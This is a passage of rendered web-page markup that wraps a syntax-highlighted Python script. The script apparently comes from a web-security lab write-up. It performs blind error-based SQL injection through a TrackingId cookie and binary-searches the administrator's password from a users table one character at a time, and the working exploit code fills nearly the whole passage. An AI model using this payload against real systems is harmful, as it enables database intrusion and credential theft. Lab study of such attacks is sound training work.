'`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:`0123456789abcdefghijklmnopqrstuvwxyz`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#6A737D`,\"--shiki-light-font-style\":`inherit`,\"--shiki-dark\":`#51597D`,\"--shiki-dark-font-style\":`italic`},children:` # ASCII order`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:`session `}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#89DDFF`},children:`=`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:` requests`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:`.`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#7AA2F7`},children:`Session`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#9ABDF5`},children:`()`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#FF9E64`},children:`TRACKING_ID`}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#89DDFF`},children:` =`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:` \"`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:`1ZQg7u4x2pUganpD`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`\"`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#FF9E64`},children:`SESSION_COOKIE`}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#89DDFF`},children:` =`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:` \"`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:`Mbce8cZSOv2mUbykvP8EK2UY2WGgkU24`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`\"`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#BB9AF7`},children:`def`}),_jsx(_components.span,{style:{color:`#6F42C1`,\"--shiki-dark\":`#7AA2F7`},children:` check_greater_than`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#9ABDF5`},children:`(`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#E0AF68`},children:`position`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:`,`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#E0AF68`},children:` char`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#9ABDF5`},children:`):`})]}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-light-font-style\":`inherit`,\"--shiki-dark\":`#51597D`,\"--shiki-dark-font-style\":`italic`},children:` \"\"\"Check if character at position is greater than char\"\"\"`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:` payload `}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#89DDFF`},children:`=`}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#BB9AF7`},children:` f`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:`\"`}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#BB9AF7`},children:`{`}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#FF9E64`},children:`TRACKING_ID`}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#BB9AF7`},children:`}`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:`' || (select CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator' and substr(password,`}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#BB9AF7`},children:`{`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#C0CAF5`},children:`position`}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#BB9AF7`},children:`}`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:`,1)>'`}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#BB9AF7`},children:`{`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#C0CAF5`},children:`char`}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#BB9AF7`},children:`}`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:`') || '\"`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:` headers `}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#89DDFF`},children:`=`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:` {`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:`Cookie`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:`:`}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#BB9AF7`},children:` f`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:`'TrackingId=`}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#BB9AF7`},children:`{`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#C0CAF5`},children:`payload`}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#BB9AF7`},children:`}`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:`; session=`}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#BB9AF7`},children:`{`}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#FF9E64`},children:`SESSION_COOKIE`}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#BB9AF7`},children:`}`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:`'`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:`}`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:` r `}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#89DDFF`},children:`=`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:` session`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:`.`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#7AA2F7`},children:`get`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#9ABDF5`},children:`(`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#C0CAF5`},children:`url`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:`,`}),_jsx(_components.span,{style:{color:`#E36209`,\"--shiki-dark\":`#E0AF68`},children:` headers`}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#89DDFF`},children:`=`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#C0CAF5`},children:`headers`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:`,`}),_jsx(_components.span,{style:{color:`#E36209`,\"--shiki-dark\":`#E0AF68`},children:` timeout`}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#89DDFF`},children:`=`}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#FF9E64`},children:`10`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#9ABDF5`},children:`)`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#BB9AF7`},children:` return`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:` r`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:`.`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:`status_code `}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#BB9AF7`},children:`==`}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#FF9E64`},children:` 500`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#BB9AF7`},children:`def`}),_jsx(_components.span,{style:{color:`#6F42C1`,\"--shiki-dark\":`#7AA2F7`},children:` char_exists_at_position`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#9ABDF5`},children:`(`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#E0AF68`},children:`position`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:`,`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#E0AF68`},children:` char`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#9ABDF5`},children:`):`})]}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-light-font-style\":`inherit`,\"--shiki-dark\":`#51597D`,\"--shiki-dark-font-style\":`italic`},children:` \"\"\"Verify the character actually equals what we found\"\"\"`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:` payload `}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#89DDFF`},children:`=`}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#BB9AF7`},children:` f`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:`\"`}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#BB9AF7`},children:`{`}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#FF9E64`},children:`TRACKING_ID`}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#BB9AF7`},children:`}`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:`' || (select CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator' and substr(password,`}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#BB9AF7`},children:`{`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#C0CAF5`},children:`position`}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#BB9AF7`},children:`}`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:`,1)='`}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#BB9AF7`},children:`{`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#C0CAF5`},children:`char`}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#BB9AF7`},children:`}`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:`') || '\"`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:` headers `}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#89DDFF`},children:`=`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:` {`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:`Cookie`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:`:`}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#BB9AF7`},children:` f`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:`'TrackingId=`}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#BB9AF7`},children:`{`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#C0CAF5`},children:`payload`}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#BB9AF7`},children:`}`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:`; session=`}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#BB9AF7`},children:`{`}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#FF9E64`},children:`SESSION_COOKIE`}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#BB9AF7`},children:`}`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:`'`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:`}`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:` r `}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#89DDFF`},children:`=`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:` session`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:`.`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#7AA2F7`},children:`get`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#9ABDF5`},children:`(`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#C0CAF5`},children:`url`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:`,`}),_jsx(_components.span,{style:{color:`#E36209`,\"--shiki-dark\":`#E0AF68`},children:` headers`}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#89DDFF`},children:`=`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#C0CAF5`},children:`headers`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:`,`}),_jsx(_components.span,{style:{color:`#E36209`,\"--shiki-dark\":`#E0AF68`},children:` timeout`}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#89DDFF`},children:`=`}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#FF9E64`},children:`10`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#9ABDF5`},children:`)`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#BB9AF7`},children:` return`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:` r`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:`.`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:`status_code `}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#BB9AF7`},children:`==`}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#FF9E64`},children:` 500`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#BB9AF7`},children:`def`}),_jsx(_components.span,{style:{color:`#6F42C1`,\"--shiki-dark\":`#7AA2F7`},children:` find_char_at_position`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#9ABDF5`},children:`(`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#E0AF68`},children:`position`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#9ABDF5`},children:`):`})]}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-light-font-style\":`inherit`,\"--shiki-dark\":`#51597D`,\"--shiki-dark-font-style\":`italic`},children:` \"\"\"Binary search to find character at given position\"\"\"`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:` low`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:`,`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:` high `}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#89DDFF`},children:`=`}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#FF9E64`},children:` 0`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:`,`}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#0DB9D7`},children:` len`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#9ABDF5`},children:`(`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#C0CAF5`},children:`chars`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#9ABDF5`},children:`)`}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#89DDFF`},children:` -`}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#FF9E64`},children:` 1`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#BB9AF7`},children:` while`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:` low `}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#BB9AF7`},children:`\u003c`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:` high`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:`:`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:` mid `}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#89DDFF`},children:`=`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:` (`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:`low `}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#89DDFF`},children:`+`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:` high`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:`)`}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#89DDFF`},children:` //`}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#FF9E64`},children:` 2`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#BB9AF7`},children:` if`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#7AA2F7`},children:` check_greater_than`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#9ABDF5`},children:`(`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#C0CAF5`},children:`position`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:`,`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#C0CAF5`},children:` chars`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#9ABDF5`},children:`[`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#C0CAF5`},children:`mid`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#9ABDF5`},children:`])`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:`:`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:` low `}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#89DDFF`},children:`=`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:` mid `}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#89DDFF`},children:`+`}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#FF9E64`},children:` 1`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#BB9AF7`},children:` else`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:`:`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:` high `}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#89DDFF`},children:`=`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:` mid`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#BB9AF7`},children:` return`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:` chars`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#9ABDF5`},children:`[`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:`low`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#9ABDF5`},children:`]`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6A737D`,\"--shiki-light-font-style\":`inherit`,\"--shiki-dark\":`#51597D`,\"--shiki-dark-font-style\":`italic`},children:`# Main extraction loop`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:`password `}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#89DDFF`},children:`=`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:` \"\"`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:`position `}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#89DDFF`},children:`=`}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#FF9E64`},children:` 1`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#BB9AF7`},children:`while`}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#FF9E64`},children:` True`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:`:`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:` char `}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#89DDFF`},children:`=`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#7AA2F7`},children:` find_char_at_position`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#9ABDF5`},children:`(`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#C0CAF5`},children:`position`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#9ABDF5`},children:`)`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6A737D`,\"--shiki-light-font-style\":`inherit`,\"--shiki-dark\":`#51597D`,\"--shiki-dark-font-style\":`italic`},children:` # Verify this character actually exists`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#BB9AF7`},children:` if`}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#BB9AF7`},children:` not`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#7AA2F7`},children:` char_exists_at_position`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#9ABDF5`},children:`(`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#C0CAF5`},children:`position`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:`,`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#C0CAF5`},children:` char`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#9ABDF5`},children:`)`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:`:`})]}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#BB9AF7`},children:` break`})}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:` password `}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#89DDFF`},children:`+=`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:` char`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#0DB9D7`},children:` print`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#9ABDF5`},children:`(`}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#BB9AF7`},children:`f`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:`\"[+] Position `}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#BB9AF7`},children:`{`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#C0CAF5`},children:`position`}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#BB9AF7`},children:`}`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:`: `}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#BB9AF7`},children:`{`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#C0CAF5`},children:`char`}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#BB9AF7`},children:`}`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:` | Password: `}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#BB9AF7`},children:`{`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#C0CAF5`},children:`password`}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#BB9AF7`},children:`}`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:`\"`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#9ABDF5`},children:`)`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:` position `}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#89DDFF`},children:`+=`}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#FF9E64`},children:` 